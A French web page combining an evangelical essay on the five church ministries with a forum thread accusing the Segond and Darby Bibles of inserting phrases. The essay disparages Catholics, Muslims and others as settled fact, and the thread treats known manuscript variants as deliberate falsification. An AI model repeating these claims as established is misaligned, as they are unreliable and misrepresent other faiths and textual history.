    Selon le terme employé, l’Apôtre est un envoyé, un chargé de mission. Il est motivé par la prédication du messie ressuscité et de l’établissement de son royaume. Ses capacités, qui évidemment lui viennent de Dieu, englobent les quatre (4) autres ministères que nous développerons ensuite.

    Un Apôtre est un bâtisseur voir un pionnier. Bien que le mot apôtre veuille dire « envoyé », tous ceux qui sont envoyés n’ont pas le ministère d’Apôtre. Raison pour laquelle, certains sont appelés « missionnaires ». L’Apôtre est celui qui a la capacité d’aller dans des endroits difficiles et lointains pour apporter l’Evangile. Il fonde des églises locales. Sa prédication est accompagnée de miracles et de prodiges. Il a la vision de l’œuvre et donne des instructions pour la bonne marche de l’Eglise. Il enseigne, corrige et reprend les faux pasteurs et les fausses doctrines. Il exerce l’autorité sur les Pasteurs, les Prophètes, les Evangélistes, les Docteurs ainsi que les Anciens et les Diacres. Il détermine les qualifications pour être appelé au ministère. Il veille sur la bonne marche des églises qu’il a fondées et les organise afin de garder un contact permanent avec elles. Celles-ci à leur tour doivent lui rendre compte.
    Les Actes et les Épîtres citent les noms de plusieurs Apôtres, outre les "douze" nommés par le Seigneur Jésus-Christ. Le ministère d'Apôtre est caractérisé par un sens spécial de la responsabilité envers un groupe d'églises (2 Corinthiens 11.28). L'Apôtre n'est pas lié définitivement à une communauté locale particulière.
     Il veille de façon générale à la santé spirituelle et à l'action de l'Église.
     Il a la responsabilité de donner certaines directives.
     Il a le charisme de prier pour que les croyants reçoivent le Saint-Esprit ou l'un ou l'autre des dons spirituels.
     Il forme les cadres et les consacre dans leurs ministères particuliers, par exemple les anciens et les diacres.
     Il est responsable de l'orthodoxie de l'enseignement donné.
     Il exerce la discipline dans les cas graves.
    En fait, l’Apôtre peut partir d’un champ encore v***** et fonder une communauté, en formé les membres afin qu’ils deviennent autonomes. L’Apôtre quoique autonome ne reste pas isolé, il œuvre activement afin que les autres ministères se manifestent et le supplée ou le remplace.

    Nous pouvons illustrer ce rapport de l’Apôtre aux autres ministères avec les cinq (5) doigts de la main. L’apôtre étant le pouce, le doigt fort, qui fait face aux quatre (4) autres pour travailler. Une main amputer du pouce pourra continuer à saisir (avec difficulté certes) des objets ; mais le contraire, c’est à dire amputer des quatre (4) autres doigts et le pouce seul restant, est plus difficile.

    C’est pour cela que sans plus tarder il convient de passer à une explication des quatre (4) autres ministères suivants afin de mieux comprendre le rôle de l’Apôtre.

    Le Prophète
    Un prophète est un Homme de Dieu qui prédit l’avenir ou qui annonce un événement plusieurs jours ou mois d’avance avant que celui-ci ne se réalise. Il est celui qui a la capacité d’exercer les cinq (5) Dons de « Révélation » qui sont :
     la parole de connaissance
     le discernement des esprits
     la parole de sagesse
     l’interprétation des langues
     la prophétie

    Le Prophète apporte la parole de Dieu d'une manière spontanée, sous une onction spéciale du Saint-Esprit ; ce ministère a un champ d'action vaste:
     Ministère de révélation (Ephésiens 3:5)
     Ministère d'exhortation (Actes 15:32)
     Ministère de direction (Actes 13:2)
     Ministère de prédiction (Actes 11:28; 21:11)

    En plus de cela, ces prophéties doivent s’accomplir et il doit porter les fruits dignes d’un Serviteur de Dieu. Celui qui ne remplit pas ces conditions n’est pas un Prophète. Au demeurant, le prophète a le rôle très spécifique d’être le porte-parole de Dieu, inspiré par le Saint-Esprit. Dans le Nouveau Testament, c’est Jean-Baptiste qui décrit le mieux ce Ministère. Lorsqu’il parle de Jésus, il dit : « Il a son van à la main ; il nettoiera son aire, et il amassera son blé dans le grenier, mais il brûlera la paille dans un feu qui ne s’éteint point. » C’est le Ministère d’autorité qui prêche la repentance, la purification et la séparation, dans la crainte de Dieu.
    Porte-parole de la volonté divine, le Prophète se retrouve abondamment indexé dans l’Ancien Testament et ceci dès la Genèse. Le premier que nous découvrons et cité comme tel par Dieu lui-même est : Abraham. Nous avons bien sûr tous les écrits de l’Ancien Testament nous décrivant la dure tâche de porte-parole divin, montrant le chemin à suivre ou condamnant quand le peuple s’est écarté de celui-ci. De grandes figures se détachent de tous les autres Prophètes dont nous lisons l’histoire dans la Bible : Abraham, Moïse, Élie…

    Nota: nous avons déjà vu le Pasteur, l'évangéliste maintenant passons au Docteur:

    Docteur
    Un docteur est un Homme de Dieu qui a la capacité de communiquer la connaissance. Il forme, nourrit, éduque, discipline, instruit et enseigne les fidèles mais surtout les appelés au ministère. Il a une capacité et une facilité d’enseigner que d’autres n’ont pas.
    L’enseignant est oint pour construire sur la fondation posée par les Apôtres et les Prophètes, en communiquant la doctrine biblique de Christ d’une manière claire et précise. Il aime tout particulièrement « creuser » profondément la Parole et son onction lui permet de communiquer la vérité à l’église. Il s'attache à l'étude systématique et à l'enseignement clair de la Bible, de façon à présenter simplement les choses profondes de Dieu. Il doit inspirer aux chrétiens la connaissance de la Parole de Dieu. Son savoir théologique et éthique est nécessaire au succès de son ministère.
    Le Docteur a la tâche de rendre limpide les Ecritures. Celles-ci ayant été écrites sur plusieurs siècles et par plusieurs auteurs, il est là pour fouiller et ramener à jour les trésors anciens et nouveaux.
    Dieu a voulu que les écritures soient un puzzle afin que comme pour les paraboles, seuls ceux vraiment désireux de le connaitre pourraient le déchiffrer.

    Il examine ou établi les doctrines en se basant sur des recherches approfondies. Mais plus que tout en se basant sur cette citation de Jésus lui-même : ”Car ma chair est vraie nourriture, et mon sang vraie boisson. Celui qui mange ma chair et boit mon sang demeure en moi et moi en lui” Jean 8:55-56. Sa plus importante mission (et de tous les ministères) est de rendre autonome le peuple de Dieu, que chacun apprenne à se nourrir spirituellement et à rechercher pour soi la volonté divine.

    Au regard de ce qui précède, l’Apôtre accomplit l’œuvre missionnaire. Le Prophète livre au peuple les paroles que l’Eternel Dieu met dans sa bouche. L’Evangéliste, apporte la bonne nouvelle du salut au monde, baptise ceux qui croient et les confie au Pasteur qui veille sur leur marche de tous les jours. Le Docteur, enseigne au peuple les profondeurs de la parole de Dieu pour fortifier sa foi.
    Il est à remarquer que l’ordre indiqué, n’est pas un ordre hiérarchique. C’est l’ordre logique d’intervention des ministères dans l’établissement d’une église locale. Matthieu 28 :19 et 20. « Allez, faites de toutes les nations des disciples, les baptisant au nom du Père, du Fils et du Saint–Esprit, et enseignez leur à observer tout ce que je vous ai prescrit.»
    Les cinq (5) ministères ne sont pas des ministères indépendants. Ils travaillent tous ensemble dans l’unité, afin que les saints puissent bénéficier des différentes onctions et être équipés pour l’œuvre du ministère.
    Dans cette perspective, les anciens et les diacres sont nommés aux services des membres pour permettre aux cinq (5) ministères d’exercer leurs appels dans les meilleures conditions.

    Ces ministères sont des Dons que Dieu, Lui-même, octroie à ceux qu’il a mis à part pour le servir. Personne ne peut les attribuer à qui que ce soit. Celui qui s’en auto-proclame est un faussaire.
    Il convient de noter que le titre de Révérend n’est pas un ministère mais une appellation honorifique. On appelle Révérend, l’homme de Dieu qui a fait ses preuves et dont le ministère a porté des fruits visibles. Celui dont le ministère est connu en paroles et en œuvres. Le Révérend est aussi celui qui forme et qui a à ses pieds des serviteurs de Dieu. Ceux-ci par respect l’appelle Révérend pour lui témoigner leur respect. On peut alors dire par exemple :
    Révérend- Apôtre Jean
     Révérend-Prophète Paul
     Révérend-Evangéliste Philippe
     Révérend-Pasteur Pierre
     Révérend-Docteur Bernabas

    Retenons que personne n’a le droit de s’auto-proclamer Révérend s’il ne remplit pas les conditions que nous avons citées.

    En outre, il existe une différence entre les cinq (5) ministères et les Dons du Saint-Esprit énoncé dans 1Corinthiens 12 : 4 à 12, même s’ils sont étroitement liés d’un certain point de vue. Un chrétien peut prophétiser de la part de Dieu, mais il n’est pas pour autant un prophète.

    LE BUT (ROLE) DES CINQ (5) MINISTERES DANS L’EGLISE DE DIEU

    Les questions que l’on est en droit de se poser sont de savoir : Pourquoi et dans quel but Dieu donne-il des ministres à son église ? Quels sont les résultats attendus en donnant ces ministères ?

    1. Le perfectionnement des saints (Chrétiens)

    Les chrétiens sont d’abord nés de nouveau. Ils sont nés d’eau et d’esprit saint. De cette naissance jusqu’à leur rencontre avec le Seigneur Jésus-Christ, ils doivent se perfectionner au contact des ministres de Dieu. Philippiens 1 :6. « Je suis persuadé que celui qui a commencé en vous cette bonne œuvre la rendra parfaite pour le jour de Jésus–Christ. » Jacques 1 :21. « C’est pourquoi, rejetant toute souillure et tout excès de malice, recevez avec douceur la parole qui a été plantée en vous, et qui peut sauver vos âmes. » Ceci se fait dans un processus de découverte de la vérité. Chaque vérité découverte, nous donne d’abandonner le mal pour le bien et cela nous apporte un degré de perfection. C’est donc pour le perfectionnement des saints que Dieu donne des ministères à son Eglise.

    2. L’avancement de l’œuvre de Dieu et l’édification du corps de Christ

    Dieu donne des ministères à son Eglise notamment, pour un double objectif. D’une part, pour l’avancement de son œuvre (l’œuvre du ministère) et d’autre part, pour l’édification du corps de Christ.

    Les chrétiens doivent murir pour accomplir chacun à son tour le travail que le Seigneur lui réserve dans son église. Il s’agit de construire le corps de Christ en le portant à la vertu par l’exemple. C'est-à-dire qu’il faut éduquer les chrétiens en sorte qu’ils aient une qualité morale pour fuir le mal et être un exemple du bien selon Dieu. 1Corinthiens 11 :1. « Soyez mes imitateurs, comme je le suis moi–même de Christ. » Le ministre doit montrer l’exemple par sa vie et son témoignage. Afin que les brebis l’imitent.


    3. Les résultats attendus par Dieu en donnant les ministères

    a. Parvenir à l’unité de la foi.

    L’humanité créée par Dieu doit avoir une seule foi en son créateur. Tous les hommes expriment leur besoin de Dieu. Selon leur foi, ils empruntent des chemins différents et mauvais les uns que les autres. Les ministres de Dieu doivent travailler à montrer et imposer ce chemin unique. Alors nous aurons l’unité de foi. 1Timothée 2 :3-5. « Dieu notre Sauveur, veut que tous les hommes soient sauvés et parviennent à la connaissance de la vérité. Car il y a un seul Dieu, et aussi un seul médiateur entre Dieu et les hommes, Jésus–Christ homme.»

    Tout le monde croit en un Dieu unique. Malheureusement le débat se trouve au niveau du médiateur ! Le pape et les catholiques croient que la v***** marie est leur médiateur. Les musulmans croient que c’est Mahomet leur médiateur. Les mystiques croient que c’est leur gourou. Les adeptes de Haris croient c’est Haris ? Les adeptes de papa nouveau croient que c’est papa nouveau. Les idolâtres croient que c’est la rivière, la pierre, le tabouret, le talisman ou autre !

    Les ministres de Dieu doivent mettre tout le monde d’accord sur un et un seul médiateur. JESUS-CHRIST.

    b. Parvenir à l’unité de la connaissance de Christ, Fils de Dieu.

    Dans toutes les croyances citées ci-dessus, beaucoup ont un contact avec Christ. Même si c’est de la mauvaise façon ! Les musulmans reconnaissent qu’il est prophète de Dieu. Il n’est pas Fils de Dieu. Il n’a pas été crucifié. Voici leur connaissance de Jésus-Christ. Les catholiques croient que c’est un sauveur influençable par sa mère marie. Ils vénèrent donc marie qui doit imposer à son bébé de les exaucer. Les rosicruciens veulent atteindre l’état Christie. Mais pour eux, Jésus-Christ est un essénien. C’est de là que viendrait son don de guérison ! Dans le milieu pentecôtiste et évangélique, Jésus-Christ est mort pour que ceux qui croient soient prospères. Qu’ils se marient. C’est de lui qu’ils attendent les bénédictions matérielles et spirituelles.

    Matthieu 16 :16. « Simon Pierre répondit: Tu es le Christ, le Fils du Dieu vivant. » les Apôtres l’ont dit. Jean 11 :27. « Elle lui dit: Oui, Seigneur, je crois que tu es le Christ, le Fils de Dieu, qui devait venir dans le monde. » Marthe, la sœur de Lazare et Marie l’a affirmé. Actes 8:37. « Philippe dit : Si tu crois de tout ton cœur, cela est possible. L'eunuque répondit: Je crois que Jésus–Christ est le Fils de Dieu.» L’eunuque éthiopien l’a reconnu.

    Les Ministères de Dieu devront conduire les hommes et les femmes à arrêter leurs élucubrations pour croire de la même façon en Jésus-Christ, l’aimer de la même façon, le comprendre de la même manière et lui obéir dans la même crainte.


    CONCLUSION
    A la lumière de tout ce qui précède, il est à retenir que l’œuvre apostolique, c’est le gros œuvre de déblayage du terrain en vue d’établir une église locale. Son premier besoin, c’est connaître le plan de Dieu pour l’œuvre. Il faut la prophétie. Quand le Prophète a fini d’indiquer la voie à suivre, l’Evangéliste vient annoncer l’évangile au temps marqué et au lieu indiqué par Dieu. Les croyants sont baptisés et remis entre les mains du Pasteur qui les encadre au quotidien. Une fois l’église locale constituée, le Docteur vient enseigner aux chrétiens, ce que Jésus-Christ a prescrit à son Eglise.

    La pratique des cinq (5) ministères particuliers que Dieu donne à l’Eglise devra amener les chrétien(ne)s à grandir pour être des hommes et des femmes spirituels accomplis. Le but est d’atteindre la taille spirituelle de Christ, le modèle parfait. C’est à dire quitter la condition des enfants. Devenir grand pour avoir du discernement. Romains 12 :2. « Ne vous conformez pas au siècle présent, mais soyez transformés par le renouvellement de l’intelligence, afin que vous discerniez quelle est la volonté de Dieu, ce qui est bon, agréable et parfait. » Nous ne devons plus être emportés à tout vent de doctrine. Les ruses des hommes ne doivent plus nous tromper et nous séduire.

    par Romain D. DAHIE le 16 février 2011

     

     

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    1 commentaire
  •  

    Evangéliste

    L'Evangéliste
    Un évangéliste est un prédicateur de la Bonne Nouvelle de Jésus-Christ. Il est doué dans l’art de prêcher et de gagner des âmes. Son ministère est accompagné de puissance et de guérison. Il est donc, consumé par le désir de proclamer la Bonne Nouvelle de Jésus-Christ pour le salut des âmes, et il est prêt à donner sa vie pour ce but. Son message est simple mais puissant et souvent accompagné de miracles. La présence de l’Evangéliste dans les églises locales est importante parce que son onction inspire les chrétiens et les encourage à partager la Bonne Nouvelle de Jésus-Christ. L'Evangéliste est interpellé par l'évangélisation, il a le contact facile, il possède un fort désir d'annoncer l'Évangile et amène les personnes à se convertir. À cet aspect de son ministère tourné vers l'extérieur s'ajoute une fonction envers l'Église, qu'il stimule dans l'évangélisation.
    Le premier Evangéliste reconnu dans la Bible est Philippe. Il fût des sept (7) premiers diacres nommés par l’Eglise (Actes 6:1-6). Son ministère commença vraisemblablement à la persécution qui suivit la mort d’Etienne. La principale fonction d’un Evangéliste est d’amener les gens à la foi, à s’engager pour Christ. Et ceci, que ce soit pour les incroyants où les membres de l’Eglise. En effet, s’il faut aller chercher de nouvelles âmes perdues dans le monde, celles qui ont déjà fait l’engagement ont souvent besoin de voir ranimer leur flamme.

    Le Don sur lequel se base l’Evangéliste est l’exhortation; Il peut aussi manifester le Don de prophétie afin d’appuyer sa prédication de révélation. Il fonde ou maintient le feu d’une église, mais il n’est pas totalement équipé pour la croissance spirituelle des membres.

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  • Pasteur

    Pasteur

    A tort, ce titre est porté par bien des serviteurs de Dieu. Surtout que ce n’est pas un titre, mais une fonction. Celle de consoler les membres du corps, les encourager à persévérer malgré les épreuves rencontrées. Le Pasteur est celui qui passe de l’huile sur les plaies ouvertes. Qu’aucune critique ne sorte de sa bouche et "que l'histoire qui lui est raconté ne soit connue de tous". Trop souvent dès qu’un appel se manifeste sur un jeune, il est orienté vers le pastorat.

    Un pasteur est un berger. Il a la capacité d’instruire et de garder le troupeau. Il console, affermit et soigne les brebis (chrétiens) lorsqu’elles sont en difficultés. Il avertit les brebis lorsqu’elles sont en face d’un danger. Le Pasteur est un dirigeant rempli d’amour, de douceur, de compassion et de sagesse. Il donne l'enseignement correspondant aux besoins de la communauté et prend soin de chaque croyant. Par ce ministère se communique en outre à l'assemblée le sens de l'aide fraternelle envers celui qui est dans la difficulté. Son travail s'effectue au long terme et de manière plus particulière contrairement à l'Apôtre dont l'action est plus générale.
    Comme un bon berger, le Pasteur veille sur le peuple de Dieu, le nourrit et le protège. Son onction lui donne de l’autorité sur l’église locale, mais il ne l’utilise pas pour dominer les autres anciens et les chrétiens qui lui sont confiés.

    Partager via Gmail Yahoo! Google Bookmarks Pin It

    votre commentaire
  • Bible traductions dénoncées

    Page 1 sur 212  Suivant

    Voir le sujet précédent Voir le sujet suivant Aller en bas

     

    Bible traductions dénoncées

    Message  Ruth Administratrice Hier à 20:02



    Après avoir effectué à plusieurs reprises un travail de traduction littérale mot par mot de plusieurs versets de La Bible avec google et les concordances disponibles sur internet.
    J'ai bien remarqué les traductions qui étaient les plus proches du texte source et celles qui visent à faire correspondre le texte avec une pensée religieuse en particulier allant même jusqu'à rajouter des phrases qui n'existent absolument pas dans le texte source.

    Notamment, j'ai pu constater cela au sujet de la Nouvelle Alliance avec le texte Grec.

    J'ai découvert des traductions révoltantes qui vont à l'encontre du texte écrit.
    Certains ont osé rajouter des phrases qui ne se trouvent pas dans le texte.
    Les traductions ciblées ici sont Segond 1910 et la Segond révisée 1978 et Darby 1885, qui dans beaucoup d'assemblées sont des traductions très prisées.

    J'ai moi-même fait la promotion de la traduction Segond 1910 sur ce forum mais je me suis rendue compte que cette traduction est loin d'être la meilleure et même parfois la traduction de certains versets est fausse. Pas tout le temps, bien souvent le texte traduit tout de même le texte correctement mais par ci par là des phrases sont rajoutées dénaturant l'idée du texte et parfois certaines traductions sont remplacées pour dire tout autre chose comme vous allez le voir plus bas dans cette étude.

    Je n'accuse pas spécifiquement Louis Segond car la traduction 1910 est la version révisée de celle qu'il publia en 1880 mais qui n'est plus aujourd'hui disponible.
    Car après la mort de Segond, la Société biblique britannique révisa sa traduction en 1910, en choisissant d'autres termes doctrinaux plus conformes à la pensée protestante orthodoxe.

    Donc je ne peux pas comparer en vérifiant la traduction de Segond en 1880 qui était peut-être bien traduite. Je trouve que c'est un manque de respect total pour celui qui a traduit que de passer ensuite après sa mort pour changer en partie son travail en apposant toujours son nom associant la traduction qu'ils ont changé au même auteur qui ne peut plus donner son opinion. Il ne cessent de faire des versions révisées. On se demande pourquoi si ce n'est pour adapter La Bible à leur goût ou au goût du jour ?

    Je peux vous dire que les traductions qui datent de 1700 ou de 1800 sont tout à fait compréhensibles en Français et n'ont pas besoin d'être retouchées.

    Je suis choquée de voir les rajouts que certains se sont permis, c'est inadmissible et cela doit être dénoncé avec force. Donc à partir de maintenant je ne recommanderai plus ces traductions biaisées et bien sûr je ne recommanderai absolument pas la traduction de Jérusalem et la traduction en Français courant qui sont tout aussi contestables.

    A partir de maintenant, je recommanderai les traductions Ostervald 1877 et Martin 1744 qui sont toujours les plus proches du texte source sans rajouts de versets contrairement aux traductions Second 1910, 1978 et Darby 1885, Bible de Jérusalem et traduction en Français courant.

    je vais vous donner notamment deux exemples que je viens de découvrir :

    traduction Second 1910 1 Corinthiens 9:20-21
    Avec les Juifs, j'ai été comme Juif, afin de gagner les Juifs ; avec ceux qui sont sous la loi, comme sous la loi (quoique je ne sois pas moi-même sous la loi), afin de gagner ceux qui sont sous la loi ; avec ceux qui sont sans loi, comme sans loi (quoique je ne sois point sans la loi de Dieu, étant sous la loi de Christ), afin de gagner ceux qui sont sans loi.

    traduction Darby 1885 1 Corinthiens 9:20-21
    et pour les Juifs, je suis devenu comme Juif, afin de gagner les Juifs; pour ceux qui étaient sous la loi, comme si j'étais sous la loi, n'étant pas moi-même sous la loi, afin de gagner ceux qui étaient sous la loi, pour ceux qui étaient sans loi, comme si j'étais sans loi (non que je sois sans loi quand à Dieu, mais je suis justement soumis à Christ), afin de gagner ceux qui étaient sans loi.

    Notez bien cette phrase :
    quoique je ne sois pas moi-même sous la loi ou n'étant pas moi-même sous la loi

    cette phrase a insidieusement été rajoutée dans ces deux traductions y compris dans la traduction de Jérusalem et celle en Français courant où celle-ci va même jusqu'à nommer ce rajout comme étant la Loi de Moïse.

    Voir dans le texte source Grec

    Καὶ ἐγενόμην τοῖς Ἰουδαίοις ὡς Ἰουδαῖος, ἵνα Ἰουδαίους κερδήσω: τοῖς ὑπὸ νόμον ὡς ὑπὸ νόμον, ἵνα τοὺς ὑπὸ νόμον κερδήσω: τοῖς ἀνόμοις ὡς ἄνομος, μὴ ὢν ἄνομος θεῷ ἀλλ’ ἔννομος χριστῷ, ἵνα κερδήσω ἀνόμους.

    Καὶ = et

    ἐγενόμην = j'ai été

    τοῖς = les

    Ἰουδαίοις = Juifs

    ὡς = comme

    Ἰουδαῖος = un Juif

    ἵνα = afin que

    Ἰουδαίους = les Juifs

    κερδήσω = éviter la perte ou gagner

    τοῖς = La

    ὑπὸ νόμον = sous Loi

    ὡς = comme

    ὑπὸ νόμον = sous Loi

    ἵνα = afin que

    τοὺς ὑπὸ νόμον = les sous Loi

    κερδήσω = éviter la perte ou gagner

    τοῖς = La

    ἀνόμοις = sans loi

    ὡς = comme

    ἄνομος = sans loi

    μὴ = pas

    ὢν= comme

    ἄνομος θεῷ = sans La Loi de Dieu

    ἀλλ’ = mais

    ἔννομος = obéissant à La Loi

    χριστῷ = Machia'h (Messie)

    ἵνα = afin que

    κερδήσω = éviter la perte ou gagner

    ἀνόμους = les sans Loi.

    Voici donc la traduction plus littérale du texte :

    Et j'ai été (chez) les Juifs comme un Juif afin d'éviter la perte des Juifs.
    Sous La Loi comme sous La Loi afin d'éviter la perte (de ceux qui sont) sous La Loi. Sans la loi comme sans la loi, pas sans La Loi de Dieu mais obéissant à La Loi (de) Machia'h afin d'éviter la perte (de ceux qui sont) sans Loi.


    Donc comme vous pouvez le constater cette phrase insidieuse :

    quoique je ne sois pas moi-même sous la loi ou n'étant pas moi-même sous la loi

    ne s'y trouve pas dans le texte, c'est un rajout volontaire, rajout qui n'a pas été utilisé par la traduction Ostervald 1877 et Martin 1744 et je peux vous assurer que cela n'est pas la première fois que je remarque ce genre de chose notamment dernièrement avec la traduction révisée de Second 1978 concernant une phrase ajoutée sur les aliments et les Paroles de Yéshoua (Jésus).

    Voici donc les traductions de Martin 1744 et d'Ostervald 1877 qui n'ont pas fait de rajout :

    traduction Martin 1744
    Et je me suis fait aux Juifs comme Juif, afin de gagner les Juifs ; à ceux qui sont sous la Loi, comme si j'étais sous la Loi, afin de gagner ceux qui sont sous la Loi ;
    A ceux qui sont sans Loi, comme si j'étais sans Loi (quoique je ne sois point sans Loi quant à Dieu, mais je suis sous la Loi de Christ,) afin de gagner ceux qui sont sans Loi.


    traduction Ostervald 1877
    J'ai été comme Juif avec les Juifs, afin de gagner les Juifs; avec ceux qui sont sous la loi, comme si j'eusse été sous la loi, afin de gagner ceux qui sont sous la loi;
    Avec ceux qui sont sans loi comme si j'eusse été sans loi (quoique je ne sois point sans loi, à l'égard de Dieu, puisque je suis sous la loi de Christ), afin de gagner ceux qui sont sans loi.


    Concernant la traduction Martin et Ostervald, elle a le mérite de ne pas rajouter et de rester au plus prés du texte original mais, je dirais qu'il y a parfois un mais...

    Je m'explique, bien souvent dans le texte source, les phrases ne sont pas formées pour être mises en Français et pour que la phrase soit plus Française, le traducteur va rajouter un verbe pour lier la phrase en question alors que ce verbe sera absent du texte.

    Par exemple littéralement dans le passage étudié ici, cela donne

    Et j'ai été (chez) les Juifs comme un Juif afin d'éviter la perte des Juifs.
    Sous La Loi comme sous La Loi afin d'éviter la perte (de ceux qui sont) sous La Loi. Sans la loi comme sans la loi, pas sans La Loi de Dieu mais obéissant à La Loi (de) Machia'h afin d'éviter la perte (de ceux qui sont) sans Loi.


    Comme vous pouvez le constater il est écrit Sous La Loi comme sous La Loi.

    Martin et Ostervald ont donc rajouté un verbe et un sujet pour mieux lier la phrase.

    traduction Martin 1744
    Et je me suis fait aux Juifs comme Juif, afin de gagner les Juifs ; à ceux qui sont sous la Loi, comme si j'étais sous la Loi, afin de gagner ceux qui sont sous la Loi ; A ceux qui sont sans Loi, comme si j'étais sans Loi (quoique je ne sois point sans Loi quant à Dieu, mais je suis sous la Loi de Christ,) afin de gagner ceux qui sont sans Loi.

    traduction Ostervald 1877
    J'ai été comme Juif avec les Juifs, afin de gagner les Juifs; avec ceux qui sont sous la loi, comme si j'eusse été sous la loi, afin de gagner ceux qui sont sous la loi;
    Avec ceux qui sont sans loi comme si j'eusse été sans loi (quoique je ne sois point sans loi, à l'égard de Dieu, puisque je suis sous la loi de Christ), afin de gagner ceux qui sont sans loi.


    Vous remarquez d'ailleurs qu'ils n'utilisent pas le même temps.

    Je pense qu'il est dommage ici d'avoir rajouté cela car en Français, cela peut laisser penser que l'Apôtre Paul fait semblant d'être sous La Torah en présence des Juifs alors que ce n'est pas vraiment ce qui est écrit dans le texte.

    C'est pourquoi je pense qu'il aurait été mieux de laisser ainsi comme dans le littéral
    Sous La Loi comme sous La Loi car c'est tout de même différent. C'est vrai pourquoi ne pas induire plutôt "Sous La Loi comme étant sous La Loi" au lieu de mettre comme si j'eusses été ou si j'étais... qui laisse présumer un faux semblant.

    Voilà ce que je tenais à rajouter.

    Mais je dis donc toujours pour revenir sur ce sujet que la traduction Ostervald et Martin 1744 restent les traductions en Français les plus fiables car elles ne se sont servis que du texte Grec original et non du texte Grec Vaticanus et Sinaïticus où il y a des rajouts et des traductions biaisées dont ce sont servis plusieurs traducteurs.


    Un autre exemple flagrant d'une très mauvaise traduction de ces traductions
    Second 1910, 1978 et Darby 1885 :

    Traduction Second Apocalypse 22:14
    Heureux ceux qui lavent leurs robes, afin d'avoir droit à l'arbre de vie, et d'entrer par les portes dans la ville !


    traduction Darby Apocalypse 22:14
    Bienheureux ceux qui lavent leurs robes*, afin qu’ils aient droit à l’arbre de vie et qu’ils entrent par les portes dans la cité.


    Notez bien ces deux traductions
    Heureux ceux qui lavent leurs robes ou Bienheureux ceux qui lavent leurs robes

    et à présent regardez le texte source Grec

    Μακάριοι οἱ ποιοῦντες τὰς ἐντολὰς αὐτοῦ, ἵνα ἔσται ἡ ἐξουσία αὐτῶν ἐπὶ τὸ ξύλον τῆς ζωῆς, καὶ τοῖς πυλῶσιν εἰσέλθωσιν εἰς τὴν πόλιν.

    Μακάριοι = bénis

    οἱ ποιοῦντες = ceux qui font

    τὰς = les

    ἐντολὰς = commandements

    αὐτοῦ = ses

    ἵνα = afin que

    ἔσται = soit

    = la

    ἐξουσία = puissance, autorité

    αὐτῶν = à eux

    ἐπὶ = sur

    τὸ ξύλον = le bâton de bois, le tronc de l'arbre

    τῆς ζωῆς = de la Vie

    καὶ = et

    τοῖς πυλῶσιν = le grand portail

    εἰσέλθωσιν = puissent entrer

    εἰς = dans

    τὴν πόλιν = La Cité


    Voici donc une traduction plus littérale :
    Bénis ceux qui font Ses Commandements afin que La Puissance soit à eux sur le tronc de l'arbre de vie et (qu'ils) puissent entrer (par) Le Grand Portail dans La Cité.

    Voici la traduction Ostervald 1877
    Heureux ceux qui font ses commandements, afin d'avoir droit à l'arbre de vie et d'entrer par les portes dans la ville.

    Voici la traduction Martin 1744
    Bienheureux sont ceux qui font ses commandements, afin qu'ils aient droit à l'Arbre de vie, et qu'ils entrent par les portes dans la Cité.

    Vous voyez bien la différence ici avec Second 1910 et Darby 1885, c'est flagrant. On voit qu'il y a une volonté d'effacer la nécessité d'obéir aux Commandements de Dieu pour entrer dans la Cité, il y a la volonté d'enlever le principe d'obéissance aux Commandements de Dieu.

    Il est pourtant évident que ce passage dit bien que ce sont ceux qui observent Les Commandements de Dieu qui entrent dans La Cité de Dieu et qui ont autorité sur l'arbre de vie.

    La King James Bible, traduction la plus employée aux Etats-Unis a également bien traduit ce verset comme Ostervald et Martin

    Blessed are they that do his commandments, that they may have right to the tree of life, and may enter in through the gates into the city.


    Donc pour ceux qui veulent lire des traductions de La Bible plus proches du texte source, je leur conseille

    la traduction Ostervald 1877 ici
    http://levigilant.com/bible_vaudoise/ostervald_1877/index.html

    Et la traduction Martin 1744 ici
    http://www.biblemartin.com/bible/bible_frm.htm

    ensuite je leur recommande aussi de vérifier dans le texte source lorsqu'il y a un doute car parfois même la traduction Martin et Ostervald peuvent ne pas traduire certaines subtilités qui ressortent mieux dans le littéral dans le texte source.

    Pour Les Evangiles, les Actes, Les Lettres et Le Livre de la Révélation dans le texte Grec ici
    http://ba.21.free.fr/ntgf/matthieu/matthieu_1_gf.html

    (sachant que le texte traduit à côté en Français est la traduction Second 1910 dont vous savez ce qu'il en est) mais ce qui est important c'est le texte source en Grec.

    et pour le texte source Hébreu du Tenack (Torah et Prophètes) :
    http://www.mechon-mamre.org/f/ft/ft0.htm

    Vous pouvez aussi lire la traduction du rabbina qui est une bonne traduction dans l'ensemble.

    Pour vérifier la traduction des mots en Grec, il vous suffit de copier-coller chaque mot dans "google recherche" et d'aller sur le site où se trouve la concordance Biblique pour en trouver la signification.

    Pour l'Hébreu "google traducteur" est bien :
    http://translate.google.com/

    puis aussi cet outil en complément
    http://scholarsgateway.com/parse/



    Dernière édition par Ruth Administratrice le Lun 27 Aoû - 4:39, édité 7 fois

    _________________

    Apocalypse 14:12
    "C'est ici la persévérance des Saints, qui gardent Les Commandements de Dieu et La Foi de Yéshoua."

    Mon pseudo Ruth pour ceux qui veulent me nommer

    Ruth Administratrice
    Admin
    Messages: 7302
    Date d'inscription: 22/10/2007
    Age: 36
    Voir le profil de l'utilisateur http://www.youtube.com/user/diddl2007

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Mergou I Love Israël Hier à 20:26

    Oui j'ai remarquer moi même a nous de discerné avec l'Esprit Saint .

    Mergou I Love Israël
    Messages: 1581
    Date d'inscription: 17/02/2010
    Age: 27
    Localisation: France
    Voir le profil de l'utilisateur http://ismaelisarel.skyrock.com/

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Ruth Administratrice Hier à 20:47


    Je précise que lorsque je parlais de la Bible traduction en Français, à moment donné j'avais oublié de dire en Français courant qui est une autre traduction. Et c'est aussi cette traduction que je dénonce.

    _________________

    Apocalypse 14:12
    "C'est ici la persévérance des Saints, qui gardent Les Commandements de Dieu et La Foi de Yéshoua."

    Mon pseudo Ruth pour ceux qui veulent me nommer

    Ruth Administratrice
    Admin
    Messages: 7302
    Date d'inscription: 22/10/2007
    Age: 36
    Voir le profil de l'utilisateur http://www.youtube.com/user/diddl2007

    Revenir en haut Aller en bas

     
     

    Re: Bible traductions dénoncées

    Message  Daniel Jackson Hier à 22:06

    Super, toda raba Routh !

